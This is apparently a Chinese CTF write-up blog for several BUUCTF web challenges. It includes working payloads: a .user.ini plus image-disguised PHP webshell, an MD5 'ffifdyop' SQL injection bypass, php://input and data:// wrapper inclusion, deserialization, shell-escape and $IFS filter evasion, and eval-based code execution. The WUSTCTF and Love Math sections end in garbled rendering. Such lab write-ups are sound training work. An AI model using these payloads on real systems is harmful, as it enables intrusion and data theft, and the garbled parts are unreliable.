BUUCTF
文章目录
[极客大挑战 2019]Http
从这个页面跳转
规定了浏览器
本地访问
成功了
总结:
bp添加请求头:
x-forwarded-for:xxx.xxx.xxx.xxx(伪装http请求端ip)
referer:http://xxxxxxx.xxx(从哪个页面跳转)
User-Agent:xxxxxxxx(修改使用的浏览器)
[ACTF2020 新生赛]Upload
方法一、
上传php不成功
后缀改一改
发现就直接给路径
想到小蚂蚁,连一下就好
方法二、
“打开就是执行“
(rdd说的
然后打开就直接可以看到flag了
但这里的后端好像没有检验php语言,所以用不用都没关系
其他方式暂无
总结:
关于php的绕过
[SUCTF 2019]CheckIn
本来想用小蚂蚁做的。感觉操作都是对的但是做不出来,暂时还没解决方法。(yes说他做这道题的时候一定会弄懂的)
第二种
先传一个.user.ini
GIF89a
auto_prepend_file=rgphp.jpg
然后再传
GIF89a
<script language='php'>system('cat /flag');</script>
访问index.php就能执行了
总结:
.user.ini用法的详细介绍
可以借助.user.ini让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell
题目中有可执行的php文件就可以利用
类似题目
[unctf2020]easy_upload
[BJDCTF2020]Easy MD5
刚开始乱七八糟的东西试了一堆,没发现什么,然后就抓包看看
看到这个hint,然后这里没想到这个true居然有用。。。
然后
原来默认是false的啊,然后找了一些wp
(但是这个原始16字符二进制格式是什么格式?
“ffifdyop这个字符串被 md5 哈希了之后会变成
276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6, 而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’ ’ or ’ 6xxxxx ’等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数”
然后他就问喜不喜欢MD5,回答喜欢就可以得到flag
然后我比较懒,用数组就可以绕
a[]=0&b[]=1
然后就可以跳到另一个界面了
那还是很懒的输一下数组就好了
总结
刚开始其实没有注意到这个MD5里的参数值,看到这个hint就没什么想法。
主要就是第一步这里不太顺利。
记一下:MD5(string,raw)
[ZJCTF 2019]NiZhuanSiWei
开局一份源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
//要把welcome传到text,然后有两种方法,一个是php://input 一个是data
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
//这里就读取文件,但是不能有flag出现
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
饿了,明天再写吧。
有的人干饭一干就是好几天。
下次再这么久不做题我就是猪。
!](https://img-blog.csdnimg.cn/20201209205420567.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xveGlf,size_16,color_FFFFFF,t_70)
首先就是这里要写入welccome
php://input伪协议:
需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
php://input点这里点这里点这里
data部分写的比较清楚
data点这里点这里点这里
两个都可以用,做题的时候用了data
在这里尝试下前面的
成功了,然后就继续往后
这里包含了file,然后给了个useless.php,那就看看
看到了 然后解码一下
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
然后是反序列化得到
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
给他加上去
然后就找到了
总结
主要是把内容写入text的操作吧
php://input伪协议:
需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
php://input点这里点这里点这里
data部分写的比较清楚
data点这里点这里点这里
其他都是以前见过的东西了
[BUUCTF 2018]Online Tool
打开就是题目了
然后发现两个不认识的函数
escapeshellarg
这个函数就是
1.给字符串加单引号
2.给存在的单引号转码
这个函数就是来转义用的,‘ 和 “ 不配对才转。
escapeshellcmd
再有就是这个
这里能执行,还让传参,那肯定就是用这里了。
然后详细的看下他
扫描神器nmap
nmap输出结果选项
然后找到 nmap -oG result.txt 将输出写成特殊格式
另外也看到几个
了解一下可能以后有用
nmap -oN result.txt 将标准输出写入到指定文件中
nmap -oS result.txt 将输出写成特殊符号的形式,内容跟-oN是一样的,只是字体变了而已
然后可以用小蚂蚁连接,但也可以直接cat flag
然后再访问一下,就可以返回
总结:
就两个函数的使用,还有一个nmap的指令。
内容在前面了这里就不说了。
[网鼎杯 2020 朱雀组]Nmap
往后翻了一下发现确实有类似的题目欸。
[BJDCTF2020]ZJCTF,不过如此
payload1:利用源码给的getFlag函数
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
payload2:通过构造post传参
next.php?\S*=${eval($_POST[w])}
POST:
w=system("cat /flag");
[WUSTCTF2020]朴实无华
要求不能有空格,会把cat替换
ls看到有
用tac代替cat
用$IFSKaTeX parse error: Expected 'EOF', got '&' at position 59: …l4g.php?num=2e4&̲md5=0e215962017…IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
**总结:
cat用来显示文件的内容。
tac反序输出文件的内容,文件的最后一行显示在第一行
加密前后都0e开头
0e215962017
**
[CISCN 2019 初赛]Love Math
长度不超过80
黑名单
只能用白名单的函数
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
用pi和abs是因为有长度限制
总结:
三个php数学函数:
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
动态函数:
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数例如:
f
u
n
c
t
i
o
n
=
"
s
a
y
H
e
l
l
o
"
;
function = "sayHello";
function="sayHello";function();